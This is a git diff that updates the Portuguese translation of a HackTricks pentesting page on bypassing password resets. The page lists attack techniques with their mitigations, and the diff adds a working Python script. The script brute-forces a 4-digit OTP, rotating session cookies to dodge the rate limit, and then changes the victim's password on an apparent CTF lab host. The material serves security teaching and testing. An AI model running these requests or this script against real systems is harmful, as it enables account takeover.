mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/reset-password.md'] to pt
This commit is contained in:
		
							parent
							
								
									81c6e3bee2
								
							
						
					
					
						commit
						c65b249873
					
				@ -1,4 +1,4 @@
 | 
			
		||||
# Bypass de Redefinição/Senha Esquecida
 | 
			
		||||
# Bypass de Redefinição/Esquecimento de Senha
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -63,7 +63,7 @@ POST /resetPassword
 | 
			
		||||
[...]
 | 
			
		||||
email="victim@mail.tld",email="attacker@mail.tld"
 | 
			
		||||
```
 | 
			
		||||
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON
 | 
			
		||||
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON.
 | 
			
		||||
```php
 | 
			
		||||
POST /resetPassword
 | 
			
		||||
[...]
 | 
			
		||||
@ -77,7 +77,7 @@ POST /resetPassword
 | 
			
		||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
 | 
			
		||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
 | 
			
		||||
 | 
			
		||||
## **Mudando o Email e a Senha de qualquer Usuário através de Parâmetros da API**
 | 
			
		||||
## **Mudando o Email e a Senha de Qualquer Usuário Através de Parâmetros da API**
 | 
			
		||||
 | 
			
		||||
- Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta.
 | 
			
		||||
```php
 | 
			
		||||
@ -85,7 +85,7 @@ POST /api/changepass
 | 
			
		||||
[...]
 | 
			
		||||
("form": {"email":"victim@email.tld","password":"12345678"})
 | 
			
		||||
```
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Garantir validação rigorosa de parâmetros e verificações de autenticação.
 | 
			
		||||
- Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas.
 | 
			
		||||
- **Referência**:
 | 
			
		||||
@ -94,7 +94,7 @@ POST /api/changepass
 | 
			
		||||
## **Sem Limitação de Taxa: Bombardeio de Email**
 | 
			
		||||
 | 
			
		||||
- A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Implementar limitação de taxa com base no endereço IP ou na conta do usuário.
 | 
			
		||||
- Usar desafios CAPTCHA para prevenir abusos automatizados.
 | 
			
		||||
- **Referências**:
 | 
			
		||||
@ -109,27 +109,27 @@ POST /api/changepass
 | 
			
		||||
- Baseado no Primeiro Nome e Sobrenome
 | 
			
		||||
- Baseado na Data de Nascimento
 | 
			
		||||
- Baseado em Criptografia
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- Usar métodos fortes e criptográficos para geração de tokens.
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Usar métodos fortes e criptográficos para a geração de tokens.
 | 
			
		||||
- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
 | 
			
		||||
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
 | 
			
		||||
 | 
			
		||||
## **UUID Adivinhável**
 | 
			
		||||
 | 
			
		||||
- Se UUIDs (versão 1) são adivinháveis ou previsíveis, atacantes podem forçá-los para gerar tokens de redefinição válidos. Verifique:
 | 
			
		||||
- Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
uuid-insecurities.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões.
 | 
			
		||||
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
 | 
			
		||||
 | 
			
		||||
## **Manipulação de Resposta: Substituir Resposta Ruim por Boa**
 | 
			
		||||
 | 
			
		||||
- Manipulando respostas HTTP para contornar mensagens de erro ou restrições.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Implementar verificações do lado do servidor para garantir a integridade da resposta.
 | 
			
		||||
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
 | 
			
		||||
- **Referência**:
 | 
			
		||||
@ -138,34 +138,98 @@ uuid-insecurities.md
 | 
			
		||||
## **Usando Token Expirado**
 | 
			
		||||
 | 
			
		||||
- Testando se tokens expirados ainda podem ser usados para redefinição de senha.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor.
 | 
			
		||||
 | 
			
		||||
## **Força Bruta do Token de Redefinição de Senha**
 | 
			
		||||
 | 
			
		||||
- Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Implementar mecanismos robustos de limitação de taxa e bloqueio de conta.
 | 
			
		||||
- Monitorar atividades suspeitas indicativas de ataques de força bruta.
 | 
			
		||||
 | 
			
		||||
## **Tente Usar Seu Token**
 | 
			
		||||
 | 
			
		||||
- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- Testando se o token de redefinição do atacante pode ser usado em conjunto com o email da vítima.
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
 | 
			
		||||
 | 
			
		||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
 | 
			
		||||
 | 
			
		||||
- Garantir que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- Garantindo que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha.
 | 
			
		||||
 | 
			
		||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
 | 
			
		||||
 | 
			
		||||
- Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos.
 | 
			
		||||
- **Passos de Mitigação**:
 | 
			
		||||
- **Etapas de Mitigação**:
 | 
			
		||||
- Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor.
 | 
			
		||||
 | 
			
		||||
## **Contornar Limite de Taxa de OTP Mudando Sua Sessão**
 | 
			
		||||
 | 
			
		||||
- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos), então podemos efetivamente forçar o OTP.
 | 
			
		||||
- **exploração**:
 | 
			
		||||
- basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
 | 
			
		||||
- **Exemplo** de código que explora esse bug adivinhando aleatoriamente o OTP (quando você muda a sessão, o OTP também mudará, e assim não poderemos forçar sequencialmente!):
 | 
			
		||||
 | 
			
		||||
``` python
 | 
			
		||||
# Bypass de autenticação por redefinição de senha
 | 
			
		||||
# por coderMohammed
 | 
			
		||||
import requests
 | 
			
		||||
import random
 | 
			
		||||
from time import sleep
 | 
			
		||||
 | 
			
		||||
headers = {
 | 
			
		||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
 | 
			
		||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
 | 
			
		||||
}
 | 
			
		||||
url = "http://10.10.12.231:1337/reset_password.php"
 | 
			
		||||
logout = "http://10.10.12.231:1337/logout.php"
 | 
			
		||||
root = "http://10.10.12.231:1337/"
 | 
			
		||||
 | 
			
		||||
parms = dict()
 | 
			
		||||
ter = 0
 | 
			
		||||
phpsessid = ""
 | 
			
		||||
 | 
			
		||||
print("[+] Iniciando ataque!")
 | 
			
		||||
sleep(3)
 | 
			
		||||
print("[+] Isso pode levar cerca de 5 minutos para terminar!")
 | 
			
		||||
 | 
			
		||||
try:
 | 
			
		||||
while True:
 | 
			
		||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatório de 0 - 9999 com 4 d
 | 
			
		||||
parms["s"] = 164 # não importante, só afeta o frontend
 | 
			
		||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
 | 
			
		||||
 | 
			
		||||
if ter == 8: # seguir número de tentativas
 | 
			
		||||
out = requests.get(logout,headers=headers) # faz logout
 | 
			
		||||
mainp = requests.get(root) # obtém outro phpssid (token)
 | 
			
		||||
 | 
			
		||||
cookies = out.cookies # extrai o sessionid
 | 
			
		||||
phpsessid = cookies.get('PHPSESSID')
 | 
			
		||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # atualiza os headers com nova sessão
 | 
			
		||||
 | 
			
		||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envia o email para mudar a senha
 | 
			
		||||
ter = 0 # reinicia ter para obter uma nova sessão após 8 tentativas
 | 
			
		||||
else:
 | 
			
		||||
ter += 1
 | 
			
		||||
if(len(res.text) == 2292): # este é o comprimento da página quando você obtém o código de recuperação corretamente (obtido por teste)
 | 
			
		||||
print(len(res.text)) # para informações de depuração
 | 
			
		||||
print(phpsessid)
 | 
			
		||||
 | 
			
		||||
reset_data = { # aqui mudaremos a senha para algo novo
 | 
			
		||||
"new_password": "D37djkamd!",
 | 
			
		||||
"confirm_password": "D37djkamd!"
 | 
			
		||||
}
 | 
			
		||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
 | 
			
		||||
 | 
			
		||||
print("[+] A senha foi alterada para:D37djkamd!")
 | 
			
		||||
break
 | 
			
		||||
except Exception as e:
 | 
			
		||||
print("[+] Ataque interrompido")
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
## Referências
 | 
			
		||||
 | 
			
		||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user